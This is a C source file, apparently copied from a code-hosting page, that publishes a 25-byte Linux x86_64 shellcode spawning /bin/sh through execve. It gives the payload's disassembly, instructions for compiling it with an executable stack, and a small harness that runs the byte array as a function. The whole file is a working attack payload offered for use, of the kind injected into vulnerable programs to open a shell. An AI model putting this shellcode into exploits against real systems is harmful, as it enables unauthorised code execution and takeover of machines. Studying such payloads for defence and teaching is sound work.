51 lines
No EOL
1.7 KiB
C
51 lines
No EOL
1.7 KiB
C
/*
|
|
---------------------------------------------------------------------------------------------------
|
|
|
|
Linux/x86_x64 - execve(/bin/sh) - 25 bytes
|
|
|
|
Ajith Kp [ @ajithkp560 ] [ http://www.terminalcoders.blogspot.com ]
|
|
|
|
Om Asato Maa Sad-Gamaya |
|
|
Tamaso Maa Jyotir-Gamaya |
|
|
Mrtyor-Maa Amrtam Gamaya |
|
|
Om Shaantih Shaantih Shaantih |
|
|
|
|
Thanks for Unknown Commented in my Blog
|
|
|
|
---------------------------------------------------------------------------------------------------
|
|
Disassembly of section .text:
|
|
|
|
0000000000400080 <.text>:
|
|
400080: eb 0b jmp 0x40008d
|
|
400082: 5f pop rdi
|
|
400083: 48 31 d2 xor rdx,rdx
|
|
400086: 52 push rdx
|
|
400087: 5e pop rsi
|
|
400088: 6a 3b push 0x3b
|
|
40008a: 58 pop rax
|
|
40008b: 0f 05 syscall
|
|
40008d: e8 f0 ff ff ff call 0x400082
|
|
400092: 2f (bad)
|
|
400093: 62 (bad)
|
|
400094: 69 .byte 0x69
|
|
400095: 6e outs dx,BYTE PTR ds:[rsi]
|
|
400096: 2f (bad)
|
|
400097: 73 68 jae 0x400101
|
|
---------------------------------------------------------------------------------------------------
|
|
|
|
How To Run
|
|
|
|
$ gcc -o sh_shell sh_shell.c
|
|
$ execstack -s sh_shell
|
|
$ ./sh_shell
|
|
|
|
---------------------------------------------------------------------------------------------------
|
|
*/
|
|
#include <stdio.h>
|
|
char sh[]="\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b\x58\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
|
|
void main(int argc, char **argv)
|
|
{
|
|
int (*func)();
|
|
func = (int (*)()) sh;
|
|
(int)(*func)();
|
|
} |